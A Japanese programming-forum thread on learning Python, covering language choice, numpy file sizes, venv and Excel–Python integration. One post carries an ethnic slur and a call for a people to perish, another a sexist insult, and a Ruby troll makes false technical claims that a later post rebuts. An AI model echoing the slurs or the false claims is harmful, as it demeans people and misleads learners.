★当スレにRubyのソースコード類を書くことを禁ず★
☆Ruby等、Pythonではないプログラミング言語での回答類を書くのも禁止
☆「Ruby では」「Rubyでは」をNGワード登録推奨
◆エラーを解決したいときはエラー表示と
環境(Pythonのバージョン・OS・IDEの種類とバージョン)をシッカリ書く
◆Pythonのソースコードを5ちゃんにコピペするとインデントが崩れるので
↓にあげてるような、ソースコード用サイトに貼ってきてくだしあ
(スクリーンショットをimgurうp等の横着をしない)
ttp://ideone.com/ 推定最大手。デフォ設定がCなので、Pythonするには選択ボタン押下がピコ手間かも。
ttp://codepad.org/ ほぼ直感的に使える。Run codeボタンあり。
ttp://pastebin.com/ まずまずシンプル。
ttp://dpaste.com/ とてもシンプル。消えるまでの日数は十分長ーく指定のこと。
ttps://jupyter.org/try (旧try.jupyter.org)ちょっとめんどうそう。
ttps://ja.osdn.net/pastebin/ ログイン必須になりやがった(゚Д゚#)
◇Pythonオフィシャルサイト
http://www.python.org/
◇まとめwiki
ttp://python.rdy.jp/
●関連スレ●
くだすれPython(超初心者用) その43【Ruby禁止】
http://mevius.5ch.net/test/read.cgi/tech/1555397061/
〇前スレ
Pythonのお勉強 Part59
http://mevius.5ch.net/test/read.cgi/tech/1552194662/
次スレの建立は>>985が挑戦する
探検
Pythonのお勉強 Part60
レス数が1000を超えています。これ以上書き込みはできません。
1デフォルトの名無しさん
2019/04/30(火) 08:34:23.34ID:sH/UeeJ62デフォルトの名無しさん
2019/04/30(火) 12:08:16.07ID:O+RhbMFB うんこなう
2019/04/30(火) 14:25:44.90ID:sV+tjWI0
Ruby好きとは仲良くなれないってことね
4デフォルトの名無しさん
2019/04/30(火) 14:33:10.30ID:vQCVvLf1 >>2
me too
me too
2019/04/30(火) 15:25:56.32ID:n9fNGNFb
実際のところ、Python以外にどれか一つの言語をやるとしたら、
やっぱりjavascriptは外せないだろうな。
オレは順序が逆だったけど。
やっぱりjavascriptは外せないだろうな。
オレは順序が逆だったけど。
2019/04/30(火) 17:09:21.60ID:EpZ78spp
>>5 JavaScriptのがサイト作れたりして楽しそうだからJavaScriptからやろうかと思ってるけど間違い?
2019/04/30(火) 17:25:35.77ID:8mIuXrcb
>>6
最初にJSやRubyのような自由度の高すぎる言語をやると変な癖がつくからお勧めできない
Pythonは比較的かっちりした標準的な書き方が見につくから、両方やる前提ならPythonからの方がいい
最初にJSやRubyのような自由度の高すぎる言語をやると変な癖がつくからお勧めできない
Pythonは比較的かっちりした標準的な書き方が見につくから、両方やる前提ならPythonからの方がいい
2019/04/30(火) 17:41:06.42ID:wC75OwRZ
>>7 なるほど… ちなみにPython GO JS でも順番はPythonとからがオススメですかね?
GOにも興味を持っていて
GOにも興味を持っていて
9デフォルトの名無しさん
2019/04/30(火) 17:49:41.16ID:rgwV3988 とりあえずガタガタ言う前に始めろ
挫折するやつは簡単と言われてる言語のプログラミングでも挫折するから
挫折するやつは簡単と言われてる言語のプログラミングでも挫折するから
2019/04/30(火) 17:50:41.56ID:fI4NHg08
勉強する順番に意味はない
そんなアホな書き込みしてる前にpython bootcampやってこい(´・ω・`)
そんなアホな書き込みしてる前にpython bootcampやってこい(´・ω・`)
2019/04/30(火) 17:56:36.08ID:EpZ78spp
はい先生…
2019/04/30(火) 20:59:36.71ID:ZGVZ18q/
半年たったら自分のコードも他人のコードの様に見えると言われるこの世界ではプログラムは習字のように型を身に着ける方がよほど良い
2019/04/30(火) 21:12:29.86ID:wC75OwRZ
ある程度 学んだら未経験可のところに転職したいなぁ
2019/04/30(火) 21:39:27.49ID:xHYWEb3z
初心者はまず、Ruby から始めるのが定番。
YouTube に動画を上げている、雑食系エンジニアのKENTA も、そう言ってる
まず画面無しで、CSV などのファイル操作、1-liner、コマンドフィルターなどを作る。
シェルスクリプト・PowerShell の代わりにもなる
a.b.c みたいな関数型のメソッドチェーンに慣れる。
さらに、p a.b.c みたいに、p を付けると、型・内容を表示してくれるので、デバッグもいらない
JavaScript(JS), Kotlin なども、メソッドチェーンを使うので、Rubyの知識が応用できる。
Elixir ではパイプ演算子を使って、a |> b |> c
一方、Python では、c( b( a( ) ) ) になるから、右から実行されてしまう。
これのデバッグが、かなりやっかい
Rubyで、Sinatra, Rails で、web アプリを作る際、
HTML, SASS/CSS, JS, Node.js, jQuery も学ぶ
つまり最初に、Rubyで、オブジェクト指向・関数型を学ぶと、JSも学びやすい
Ruby 2.6 対応の「たのしいRuby 第6版、2019/3/19」を読むとよい
YouTube に動画を上げている、雑食系エンジニアのKENTA も、そう言ってる
まず画面無しで、CSV などのファイル操作、1-liner、コマンドフィルターなどを作る。
シェルスクリプト・PowerShell の代わりにもなる
a.b.c みたいな関数型のメソッドチェーンに慣れる。
さらに、p a.b.c みたいに、p を付けると、型・内容を表示してくれるので、デバッグもいらない
JavaScript(JS), Kotlin なども、メソッドチェーンを使うので、Rubyの知識が応用できる。
Elixir ではパイプ演算子を使って、a |> b |> c
一方、Python では、c( b( a( ) ) ) になるから、右から実行されてしまう。
これのデバッグが、かなりやっかい
Rubyで、Sinatra, Rails で、web アプリを作る際、
HTML, SASS/CSS, JS, Node.js, jQuery も学ぶ
つまり最初に、Rubyで、オブジェクト指向・関数型を学ぶと、JSも学びやすい
Ruby 2.6 対応の「たのしいRuby 第6版、2019/3/19」を読むとよい
2019/04/30(火) 21:56:35.70ID:qoTv0ESv
Ruby君月にいくら貰ってるんだ
2019/04/30(火) 22:07:36.24ID:AMBMNz/t
そんなにRubyって寂れているのか
2019/04/30(火) 22:11:55.04ID:BPaXCBbn
Rubyは好きな言語の一つなんだが、この書き込み見るたびにゲンナリしてしまう...
18デフォルトの名無しさん
2019/04/30(火) 22:13:44.82ID:c2yp3V/O こりや廃れますわw
2019/04/30(火) 22:16:53.53ID:8mIuXrcb
キチガイでもできるRuby
いい宣伝じゃないか
いい宣伝じゃないか
2014
2019/04/30(火) 22:32:13.11ID:xHYWEb3z ちなみに、a.b.c みたいな関数型のメソッドチェーンが、Go でも、c( b( a( ) ) )
res1 = a( )
res2 = b( res1 )
res3 = c( res2 )
これは、たまらん!
Go を作っているのは、C を作った、手続き型の老害プログラマw
関数型じゃないから、メソッドチェーンできない!
初心者がやる言語ではない!
まず初心者は、コマンドフィルターとか、何かの一部分を作ることが重要。
その後に、全体を作る
言語の文法ではなく、プログラミング自体や工程を学ばないといけない
res1 = a( )
res2 = b( res1 )
res3 = c( res2 )
これは、たまらん!
Go を作っているのは、C を作った、手続き型の老害プログラマw
関数型じゃないから、メソッドチェーンできない!
初心者がやる言語ではない!
まず初心者は、コマンドフィルターとか、何かの一部分を作ることが重要。
その後に、全体を作る
言語の文法ではなく、プログラミング自体や工程を学ばないといけない
2019/04/30(火) 22:40:43.45ID:z/UhmdMU
はっきり言って迷惑。
22デフォルトの名無しさん
2019/04/30(火) 22:49:49.47ID:t406fgcl > 関数型じゃないから、メソッドチェーンできない!
> 関数型じゃないから、メソッドチェーンできない!
> 関数型じゃないから、メソッドチェーンできない!
ギャハハww(≧▽≦) 👀
Rock54: Caution(BBR-MD5:1341adc37120578f18dba9451e6c8c3b)
> 関数型じゃないから、メソッドチェーンできない!
> 関数型じゃないから、メソッドチェーンできない!
ギャハハww(≧▽≦) 👀
Rock54: Caution(BBR-MD5:1341adc37120578f18dba9451e6c8c3b)
2019/04/30(火) 22:52:51.04ID:hb9ui0Yd
>>20
触れちゃいけないのは理解しているが、初心者も見ているため誤まった認識が広まらないように叩いておく
誤解その1
Rubyのメソッドチェーンはメソッドの戻り値に対して更にメソッドを呼んでいるだけである。Pythonでも全く同じことができる。
誤解その2
Rubyは関数型言語ではない。コンテキストオブジェクトを特別扱いする正真正銘のオブジェクト指向言語である。
また、Rubyでは副作用の使用が推奨されている。これは関数型とは逆行する思想である。Rubyでメソッドチェーンが使えるケースが多いのもそのため。
基本的にメソッドの戻り値を積極的に使わずに副作用に頼るため、使い道のない戻り値でselfを返しておくというわけ。
誤解その3
Goでメソッドチェーンをほとんど使わないのはエラーを返すのに戻り値を使っているから。むしろ関数に拘った結果そうなっている。
触れちゃいけないのは理解しているが、初心者も見ているため誤まった認識が広まらないように叩いておく
誤解その1
Rubyのメソッドチェーンはメソッドの戻り値に対して更にメソッドを呼んでいるだけである。Pythonでも全く同じことができる。
誤解その2
Rubyは関数型言語ではない。コンテキストオブジェクトを特別扱いする正真正銘のオブジェクト指向言語である。
また、Rubyでは副作用の使用が推奨されている。これは関数型とは逆行する思想である。Rubyでメソッドチェーンが使えるケースが多いのもそのため。
基本的にメソッドの戻り値を積極的に使わずに副作用に頼るため、使い道のない戻り値でselfを返しておくというわけ。
誤解その3
Goでメソッドチェーンをほとんど使わないのはエラーを返すのに戻り値を使っているから。むしろ関数に拘った結果そうなっている。
2019/05/01(水) 00:00:04.26ID:QpzB6V4r
さて勉強するか
25デフォルトの名無しさん
2019/05/01(水) 00:00:35.44ID:YTeuDukx ルビーが落ち目でパイソンが人気上昇中。
落ち目のルビー信者がパイソンに対して敵愾心剥き出し。
そんな感じで理解してる。
落ち目のルビー信者がパイソンに対して敵愾心剥き出し。
そんな感じで理解してる。
2019/05/01(水) 00:23:23.43ID:SHxr4ckX
>>25
Rubyが少しできることだけがアイデンティティーの引きこもりが、他人と関われるのはRubyの話題しかなく、かといって今はもうRubyが話題になるような場所はなく、
場違いでもなんでも自分の存在をアピールしたくてところ構わず回りの迷惑も省みず書き込んでいるのかなと思ってる。
Rubyが少しできることだけがアイデンティティーの引きこもりが、他人と関われるのはRubyの話題しかなく、かといって今はもうRubyが話題になるような場所はなく、
場違いでもなんでも自分の存在をアピールしたくてところ構わず回りの迷惑も省みず書き込んでいるのかなと思ってる。
27デフォルトの名無しさん
2019/05/01(水) 01:01:57.03ID:YTeuDukx CとC++はほとんど同じだし、VB.NETとC#もほとんど同じ。
まあほとんど同じは言い過ぎにしても、基本となる考え方は共通点が多い。
どっちの言語が上とか論争する暇があるなら両方覚えた方が多分手っ取り早い。
己が得意な方の言語をやたら持ち上げるのは、新しいことを覚えるのがめんどくさくなって苦労から逃げている弱い自分への自己弁護だと思う。
つまり、脳の老化、気持ちの老化だな。
気持ちが若い人はPythonもRubyも両方覚えて都合よく使い分けるはず。
まあほとんど同じは言い過ぎにしても、基本となる考え方は共通点が多い。
どっちの言語が上とか論争する暇があるなら両方覚えた方が多分手っ取り早い。
己が得意な方の言語をやたら持ち上げるのは、新しいことを覚えるのがめんどくさくなって苦労から逃げている弱い自分への自己弁護だと思う。
つまり、脳の老化、気持ちの老化だな。
気持ちが若い人はPythonもRubyも両方覚えて都合よく使い分けるはず。
2019/05/01(水) 01:15:05.11ID:73OGBqpL
未だにPythonとJSどっちから始めるか悩んでる糞優柔不断…
半年後とかにプログラマーに転職して仕事でも学べるようにするにはJSからしておいた方が仕事が見つかりやすいのではと考えてるのだが、違う?
半年後とかにプログラマーに転職して仕事でも学べるようにするにはJSからしておいた方が仕事が見つかりやすいのではと考えてるのだが、違う?
2019/05/01(水) 03:04:29.39ID:z09o6azD
>>28
同意して欲しいだけのくせに質問のふりをするな
女の腐ったような奴だ
知恵袋でやってろ
https://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1132986396
同意して欲しいだけのくせに質問のふりをするな
女の腐ったような奴だ
知恵袋でやってろ
https://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1132986396
2019/05/01(水) 03:07:26.67ID:+Ipdp7KR
>>28 JSを言語と考えたらいかんよ。 言語ではあるんだが、あくまでもHTML の補助言語なんだから。
ちゃんとした基本言語をマスターすればJSなんてすぐに使えるからわざわざ訳のわからないものを最初に勉強する必要はない。
ちゃんとした基本言語をマスターすればJSなんてすぐに使えるからわざわざ訳のわからないものを最初に勉強する必要はない。
2019/05/01(水) 03:11:48.31ID:+Ipdp7KR
>>29 半年くらいかじったくらいで就職に有利になるなんて考えが甘い。 それだったら今すぐ転職した方がマシ。
未経験者でも可能な職場もある。 半年後でもあまり変わらんよ。
未経験者でも可能な職場もある。 半年後でもあまり変わらんよ。
2019/05/01(水) 03:12:15.19ID:+Ipdp7KR
>>28 だった。ごめん
2019/05/01(水) 03:15:24.02ID:sBsjxO6r
>>28
プログラマー板というのがあるのでそちらで相談してみては?
pythonは機械学習とセットでその様子だと無理そうだからJavaScriptがいいよ
JavaScriptならそれだけで仕事がある
プログラマー板というのがあるのでそちらで相談してみては?
pythonは機械学習とセットでその様子だと無理そうだからJavaScriptがいいよ
JavaScriptならそれだけで仕事がある
2019/05/01(水) 03:32:33.32ID:+Ipdp7KR
2019/05/01(水) 03:32:39.26ID:sBsjxO6r
>>30
JavaScriptはECMAScript6以降は言語としてもちゃんとしているから悪くないと思うよ
JavaScriptはECMAScript6以降は言語としてもちゃんとしているから悪くないと思うよ
2019/05/01(水) 03:46:32.83ID:+Ipdp7KR
>>35 とは言っても、HTML も知らない初心者が取り掛かる言語じゃないと思うけどな。HTML の下地があってからなら良いが。 HTMLも奥が深くなってきてるからそれだけでも大変だと思うよ。
いずれにしろスレ違いだね。
いずれにしろスレ違いだね。
37デフォルトの名無しさん
2019/05/01(水) 04:20:07.85ID:fQT4rWd7 >>28
最初の言語をwebで学ばなければどの言語でも良いよ。
入門書通りにインデントしてれば。
変な癖付けて他人が見にくいコードでさえなければ。
言語の文法なんてすぐ覚える。
言語に依存しないアルゴリズムや、ファイル構造などのデータ構造の方が大事だし。
最初の言語をwebで学ばなければどの言語でも良いよ。
入門書通りにインデントしてれば。
変な癖付けて他人が見にくいコードでさえなければ。
言語の文法なんてすぐ覚える。
言語に依存しないアルゴリズムや、ファイル構造などのデータ構造の方が大事だし。
38デフォルトの名無しさん
2019/05/01(水) 05:23:44.13ID:c18BzvZQ 現在、機械学習の為の画像データセットを作成しているんですが、numpyを使って画像を配列にし格て納しnpyで出力すると、元の画像よりファイルサイズが大きくなってしまうものなのでしょうか?ファイルサイズを抑える方法は無いのでしょうか?
2019/05/01(水) 06:47:06.99ID:+jLxSkPT
npyは圧縮されてない
元画像が圧縮されているjpgやpngなら圧縮を解いたのだからデカくなって当然だろ
少しでも小さくしたいならnpzで保存しろ
それでも足りないならlzmaにでもパイプしろ
元画像が圧縮されていないフォーマットなら
サイズがデカくなるかは元画像のピクセル当たりのビット数とdtypeによる
元が32ビットの画像でdtypeがint64なら
単純に2倍以上になることは想像できるだろう
元画像が圧縮されているjpgやpngなら圧縮を解いたのだからデカくなって当然だろ
少しでも小さくしたいならnpzで保存しろ
それでも足りないならlzmaにでもパイプしろ
元画像が圧縮されていないフォーマットなら
サイズがデカくなるかは元画像のピクセル当たりのビット数とdtypeによる
元が32ビットの画像でdtypeがint64なら
単純に2倍以上になることは想像できるだろう
2019/05/01(水) 09:01:29.88ID:f7Dz6ZaI
ちょうどjsがpythonでなやんでjsから始めたところ
終わったらたぶんpythonやる
終わったらたぶんpythonやる
2019/05/01(水) 09:34:42.12ID:dVyc+Z+8
この言語とこの言語のどちらを学んだらいいか
という質問がよくあるけど、両方やればいいじゃないの
っていうかこの分野覚えることがたくさんあるから
両方使いこなせるぐらいの能力? やる気? がないと
生き残れないと思うが
という質問がよくあるけど、両方やればいいじゃないの
っていうかこの分野覚えることがたくさんあるから
両方使いこなせるぐらいの能力? やる気? がないと
生き残れないと思うが
42デフォルトの名無しさん
2019/05/01(水) 10:37:39.34ID:fQT4rWd7 >>41
そうではあるけど、興味のある分野に向く言語をある程度使いこなせるようになってから
次の言語に行った方がいいね。
文法だけは色んな言語知ってるけど、全部入門書レベルのプログラムしか書けない。じゃあ意味が無い。
そうではあるけど、興味のある分野に向く言語をある程度使いこなせるようになってから
次の言語に行った方がいいね。
文法だけは色んな言語知ってるけど、全部入門書レベルのプログラムしか書けない。じゃあ意味が無い。
2019/05/01(水) 10:58:49.92ID:sBsjxO6r
2019/05/01(水) 13:13:51.23ID:bM7PiFk/
プロジェクト毎にvenv作ってるんだけど、プロジェクトには依存しないけどよく使うipythonみたいなパッケージをそれぞれに入れるのが面倒くさくなって来た
このようなパッケージはシステム側にインストールするってのでいいのかね
このようなパッケージはシステム側にインストールするってのでいいのかね
2019/05/01(水) 13:33:02.73ID:ph+vWZP9
最近、SESでPython!言ってる企業が増えた
本屋もPythonばっかだし
Pythonはできる人が少ない→単価が高い(SES企業が大喜び)
本屋もPythonばっかだし
Pythonはできる人が少ない→単価が高い(SES企業が大喜び)
2019/05/01(水) 14:07:29.30ID:St0wO6DI
SESやってるような低学歴がPythonできても大した意味ねえんだけどな
低学歴だからその辺も分からないんだろう
低学歴だからその辺も分からないんだろう
2019/05/01(水) 14:19:56.11ID:ph+vWZP9
>>46
東大でもSESやってる奴も居るし、そんなにSESに不満あるなら、Python一生使ってろ
東大でもSESやってる奴も居るし、そんなにSESに不満あるなら、Python一生使ってろ
2019/05/01(水) 14:43:03.71ID:sBsjxO6r
>>44
多分ダメ
ipython kernel install ―userでインストールしても動かない
共通のjupyterに異なるvenvで分けた環境のpythonを動かすためには、venvで用意した環境にjupyter等がインストールされている必要がある
多分ダメ
ipython kernel install ―userでインストールしても動かない
共通のjupyterに異なるvenvで分けた環境のpythonを動かすためには、venvで用意した環境にjupyter等がインストールされている必要がある
2019/05/01(水) 15:27:48.00ID:CCrIWR8u
pythonでエバーノートのサンプルコードがエラー使えない(´・ω・`)
50デフォルトの名無しさん
2019/05/01(水) 16:13:35.18ID:+erxvv1Q >>44
ひとくちにipythonといっても、ipythonのバージョン違いが
他の依存パッケージの関係で必要とされることがあるだろうし、
システムに入った追加パッケージを使うと求めていないバージョンが入っていて、
バージョン依存解決できないことが多くなることを考えると、
システムの持ってる追加パッケージは使わない仕様になっててもおかしくなさそう。
調べてないから推測でしかないけど。
ひとくちにipythonといっても、ipythonのバージョン違いが
他の依存パッケージの関係で必要とされることがあるだろうし、
システムに入った追加パッケージを使うと求めていないバージョンが入っていて、
バージョン依存解決できないことが多くなることを考えると、
システムの持ってる追加パッケージは使わない仕様になっててもおかしくなさそう。
調べてないから推測でしかないけど。
2019/05/01(水) 18:12:06.23ID:bM7PiFk/
2019/05/01(水) 19:16:53.12ID:3SeJTIqy
GW中にFlask入門してアプリ作ることになった
53デフォルトの名無しさん
2019/05/02(木) 19:50:12.23ID:BDHsAqU+ ジャップモンキーは陰湿
滅びたほうがいいね
こういう民族は
差別で喜ぶ屑民族
滅びたほうがいいね
こういう民族は
差別で喜ぶ屑民族
54デフォルトの名無しさん
2019/05/02(木) 19:55:35.85ID:TaSBDpem >>45
SESってなーに?
SESってなーに?
55デフォルトの名無しさん
2019/05/02(木) 19:57:46.30ID:TaSBDpem2019/05/02(木) 22:09:07.90ID:CW4Q/lka
質問です
私は愛知県在住なんですがデータ分析の仕事って愛知県にも一定量ありますか?
愛知県だと組み込み系は豊富にある一方、Web系はSESばかりですがデータ分析はどうでしょうか
私は愛知県在住なんですがデータ分析の仕事って愛知県にも一定量ありますか?
愛知県だと組み込み系は豊富にある一方、Web系はSESばかりですがデータ分析はどうでしょうか
2019/05/02(木) 22:26:50.81ID:w93CqAlI
インターネットがつながる環境があればどこにいても
仕事はあるよ
実績さえあればね
仕事はあるよ
実績さえあればね
2019/05/02(木) 22:30:37.89ID:TQbK83Um
実績というか学歴
2019/05/02(木) 23:31:24.22ID:Kaz17+fm
>>56 自動運転系の仕事が沢山あるだろ。
2019/05/03(金) 08:09:33.41ID:pt9KmcCZ
python初心者ですが、
Excelからpythonへ文字列を渡し、ある処理の後に文字列をExcelに戻すことを考えています。
pythonへ渡すこと自体はできました。
---vba start---
dim str as string
str = "C"
dim result as string
result = shell("python opyopy.py"+str) 'WScript.Shellも試したよ
debug.print result
--- vba end ---
加工した文字列をexcelに戻す部分が調べても基礎が無いためか、動作するプログラムが作成できません。
数値しか返ってこない。
sysの場合、pythonは正常値0、それ以外は異常値として返すそうですが、
そもそも文字列を返すことはできるんでしょうか?
Excelからpythonへ文字列を渡し、ある処理の後に文字列をExcelに戻すことを考えています。
pythonへ渡すこと自体はできました。
---vba start---
dim str as string
str = "C"
dim result as string
result = shell("python opyopy.py"+str) 'WScript.Shellも試したよ
debug.print result
--- vba end ---
加工した文字列をexcelに戻す部分が調べても基礎が無いためか、動作するプログラムが作成できません。
数値しか返ってこない。
sysの場合、pythonは正常値0、それ以外は異常値として返すそうですが、
そもそも文字列を返すことはできるんでしょうか?
2019/05/03(金) 08:13:51.92ID:wEPfv8zd
2019/05/03(金) 08:13:59.11ID:98hF1oLD
標準出力を使えばできるがお勧めしない
ExcelとやりとりしたいならCSVファイルを介するのが鉄板
ExcelとやりとりしたいならCSVファイルを介するのが鉄板
2019/05/03(金) 08:24:30.29ID:pt9KmcCZ
2019/05/03(金) 08:56:40.53ID:jsJUV3Wl
>>63 一括処理するんならわざわざVBAなんか使わない方が楽だよね。
OpenPyXL Python から直接Excelシートの操作
又は
xlwings VBAマクロとしてPython を呼ぶ。VBAそのものをPython に置き換えたような使い方。遅い。(PyXLL も有るが有料)
他にもいろんな方法があるけど。
CSV 垂れ流しだと整形の手間が入る。
OpenPyXL Python から直接Excelシートの操作
又は
xlwings VBAマクロとしてPython を呼ぶ。VBAそのものをPython に置き換えたような使い方。遅い。(PyXLL も有るが有料)
他にもいろんな方法があるけど。
CSV 垂れ流しだと整形の手間が入る。
2019/05/03(金) 09:26:40.10ID:g3uSKodP
2019/05/03(金) 09:35:52.78ID:pt9KmcCZ
>>64
実はホストコンピュータへoleインターフェイス経由でデータ取得するvbaを組んでいます。
そのため、excelを前提にテキストデータのやりとりを考えていました。
(周囲が無識者なので、excel形式だと何かと他担当とのやりとりが楽なのです)
正直、wxpythonよりpyinstallerでアプリ化して、各担当がそれぞれデータ出力できるものをpythonで考えています。
ライブラリ教えていただきありがとうございます。
実はホストコンピュータへoleインターフェイス経由でデータ取得するvbaを組んでいます。
そのため、excelを前提にテキストデータのやりとりを考えていました。
(周囲が無識者なので、excel形式だと何かと他担当とのやりとりが楽なのです)
正直、wxpythonよりpyinstallerでアプリ化して、各担当がそれぞれデータ出力できるものをpythonで考えています。
ライブラリ教えていただきありがとうございます。
2019/05/03(金) 09:53:34.14ID:jsJUV3Wl
>>66 どんな社内システムがわからないから的外れかもしれないけど、自分ならサーバを立ててそこで全ての処理をして画面表示してみせる。
必要ならEXCEL 或いはCSV でダウンロードさせる。
これならクライアント側に特別なプログラムはいらないし、いちいちpyinstaller でexeを作る必要もない。
スマホやiPad でも利用出来る。
必要ならEXCEL 或いはCSV でダウンロードさせる。
これならクライアント側に特別なプログラムはいらないし、いちいちpyinstaller でexeを作る必要もない。
スマホやiPad でも利用出来る。
2019/05/03(金) 09:59:04.39ID:gAc7ekL8
クライアントにPython配るのは絶対やりたくないな
保守が悪夢
保守が悪夢
2019/05/03(金) 10:42:27.10ID:ymx7jYTc
python使ってどれくらい経ちますか?
2019/05/03(金) 13:04:47.51ID:uFwkPHb4
>>69
3年
3年
2019/05/03(金) 13:06:34.72ID:uFwkPHb4
>>68
ソース丸見えだから?
ソース丸見えだから?
2019/05/03(金) 13:10:43.99ID:pt9KmcCZ
2019/05/03(金) 13:41:12.41ID:L8bdg7Rt
>>71 それもあるが、クライアントの環境によっては動かなくなったり、お守りが大変だからだろ。
いくらpyinstaller でガードしてもママっこOSのわがままには勝てないことがある。
>>72 わからないでも無いが、事務屋のおっさんには荷が重いかもしれないね。
RPAサーバーを業者が触らせないのかもしれないが、ただHTTPサーバの一部を使わせろと言うだけだからそんなに難しい話じゃ無いと思うけどな。 自分がメリットデメリットを理解できれば説得できるはず。
社内を説得できれば業者は従うはず。
将来を考えたらサーバー型にすべき。
事務屋としてはVBAの延長でPython を考えたいんだろうけど、
Excel VBA Windows は、Microsoft 純正でそこに多少の凸凹の行き違いがあっても短期間に責任を持って収集してくれるが、
Python との相性問題が出ても知らんぷりだから全部の責任を自分が被らないといけなくなるんだよ。
そんな危険は犯したく無いのがシステム屋。
また、pyinstaller でバージョンを固定しても将来のWindows のバージョンで動く保証はどこにもなく永遠に保守をし続けないといけなくなる。
社内を説得するための材料としてはモノタロウのケースを勉強してみたら?
自分はPython は今年に入ってから触り始めたけど、コンピュータは半世紀やってきたからシステムの問題には自信を持って言える。
ステップバイステップでやっていくのも1つの手段。 しかし将来像を頭に描いているかどうかで全体が大きく変わってくるよ。
いくらpyinstaller でガードしてもママっこOSのわがままには勝てないことがある。
>>72 わからないでも無いが、事務屋のおっさんには荷が重いかもしれないね。
RPAサーバーを業者が触らせないのかもしれないが、ただHTTPサーバの一部を使わせろと言うだけだからそんなに難しい話じゃ無いと思うけどな。 自分がメリットデメリットを理解できれば説得できるはず。
社内を説得できれば業者は従うはず。
将来を考えたらサーバー型にすべき。
事務屋としてはVBAの延長でPython を考えたいんだろうけど、
Excel VBA Windows は、Microsoft 純正でそこに多少の凸凹の行き違いがあっても短期間に責任を持って収集してくれるが、
Python との相性問題が出ても知らんぷりだから全部の責任を自分が被らないといけなくなるんだよ。
そんな危険は犯したく無いのがシステム屋。
また、pyinstaller でバージョンを固定しても将来のWindows のバージョンで動く保証はどこにもなく永遠に保守をし続けないといけなくなる。
社内を説得するための材料としてはモノタロウのケースを勉強してみたら?
自分はPython は今年に入ってから触り始めたけど、コンピュータは半世紀やってきたからシステムの問題には自信を持って言える。
ステップバイステップでやっていくのも1つの手段。 しかし将来像を頭に描いているかどうかで全体が大きく変わってくるよ。
2019/05/03(金) 13:51:18.51ID:L8bdg7Rt
試しに、自分のマシンでサーバーを立ち上げて社内LAN に繋がってるPCに使わせて見るという実験も良いかもしれない。
自分の勉強にもなるし。 Python で簡単にサーバーを立ち上げられるよ。
これだと社内全体を説得する必要はないし、LAN拠点毎に1つだけサーバーを立ち上げておけば良いし。
自分の勉強にもなるし。 Python で簡単にサーバーを立ち上げられるよ。
これだと社内全体を説得する必要はないし、LAN拠点毎に1つだけサーバーを立ち上げておけば良いし。
2019/05/03(金) 13:58:08.66ID:uFwkPHb4
>>73
文章長い人はPython向きじゃないな
文章長い人はPython向きじゃないな
2019/05/03(金) 14:24:44.06ID:Ul59Rvin
将来を考えたら google sheet 一択だろう
2019/05/03(金) 15:16:43.62ID:0Tydj9mo
一度運用に載せたら素人でも保守拡張できる程度に
最初に作り込まないと後が悲惨
最初に作り込まないと後が悲惨
78デフォルトの名無しさん
2019/05/03(金) 15:24:29.56ID:2qTilC2k 何をやりたいのかよくわからんが、
(1)クライアントPCから処理対象のexcelファイルをサーバのinputフォルダに置く
(2)サーバはinputフォルダを監視し、新しいファイルが来たらworkフォルダに移動して処理する
(3)サーバは必要であればoutputフォルダに処理結果のexcelファイルを置く
みたいな作りにしておいた方が後々苦労しなくて済むような気がする。
サーバはPandasライブラリ等を使えばexcelファイルを操作できるし。
(1)クライアントPCから処理対象のexcelファイルをサーバのinputフォルダに置く
(2)サーバはinputフォルダを監視し、新しいファイルが来たらworkフォルダに移動して処理する
(3)サーバは必要であればoutputフォルダに処理結果のexcelファイルを置く
みたいな作りにしておいた方が後々苦労しなくて済むような気がする。
サーバはPandasライブラリ等を使えばexcelファイルを操作できるし。
79デフォルトの名無しさん
2019/05/03(金) 15:30:48.32ID:3Vz/qKoh oleならwin32com.clientでええやん
VBAいらんで
VBAいらんで
2019/05/03(金) 16:55:17.14ID:pt9KmcCZ
>>73 >>74
貴重なご意見ありがとうございます。
また、モノタロウ?と思って調べてみました。こんなサイトもあるんですね。
http.server、ローカル環境が簡単に構築できそう。勉強になります。
>>79
はい、チェックはしています。試してないけど。
さて、単純な業務ツールをいろいろ作っている身として、あまり複雑なことはやりたくない。
抱えるのも辛いけど、属人化が一番嫌だから。
さっさと時代遅れの機械なんてさっさと無くして、サーバーを新規に構築してほしいですね。
予算が無いとか言いつつ、くらだん備品類で予算消化とか、他に金かける部分あるだろ!と思う今日この頃でした。
予算決定プロセス上仕方がないが。
お粗末さまでした。
貴重なご意見ありがとうございます。
また、モノタロウ?と思って調べてみました。こんなサイトもあるんですね。
http.server、ローカル環境が簡単に構築できそう。勉強になります。
>>79
はい、チェックはしています。試してないけど。
さて、単純な業務ツールをいろいろ作っている身として、あまり複雑なことはやりたくない。
抱えるのも辛いけど、属人化が一番嫌だから。
さっさと時代遅れの機械なんてさっさと無くして、サーバーを新規に構築してほしいですね。
予算が無いとか言いつつ、くらだん備品類で予算消化とか、他に金かける部分あるだろ!と思う今日この頃でした。
予算決定プロセス上仕方がないが。
お粗末さまでした。
2019/05/03(金) 17:45:15.23ID:iE5UbyHC
初心者だけど、rubyよりpythonの方がいいのかな?
2019/05/03(金) 17:55:35.15ID:hGfYoPM2
一番のカスはrubyとselfに過剰反応する奴
スルーシロヤ
スルーシロヤ
83デフォルトの名無しさん
2019/05/03(金) 18:02:16.50ID:taX/i1G/ ↑
こいつカス
こいつカス
2019/05/03(金) 18:03:59.95ID:hGfYoPM2
誤爆した
2019/05/03(金) 18:21:26.99ID:1vSUmwo4
>>81
あなたが集団の同質性を重んじる典型的な日本人タイプなら、国内ではRubyの方が居心地がいいと思う
Pythonは高学歴同士が各々の専門知識を振りかざしてマウントを取り合う文化があるから一匹狼タイプ向け
あなたが集団の同質性を重んじる典型的な日本人タイプなら、国内ではRubyの方が居心地がいいと思う
Pythonは高学歴同士が各々の専門知識を振りかざしてマウントを取り合う文化があるから一匹狼タイプ向け
2019/05/03(金) 18:23:27.75ID:5yeb5qFn
>>81
初学者にとってどちらが良いかは
・本人の目的
・将来性
・言語としての癖
を考えて決めれば良いと思うよ
言語としての機能はよく似てるけど立ち位置は随分と違う
今のところRubyはWeb系に強くPythonは分析や機械学習に強い
将来性についてはPythonかな、Web系は競合する言語が多い
言語として癖がないのはPythonで、Rubyは自由度が大きく拡張性も高い分、考えることが一つ多い
初学者にとってどちらが良いかは
・本人の目的
・将来性
・言語としての癖
を考えて決めれば良いと思うよ
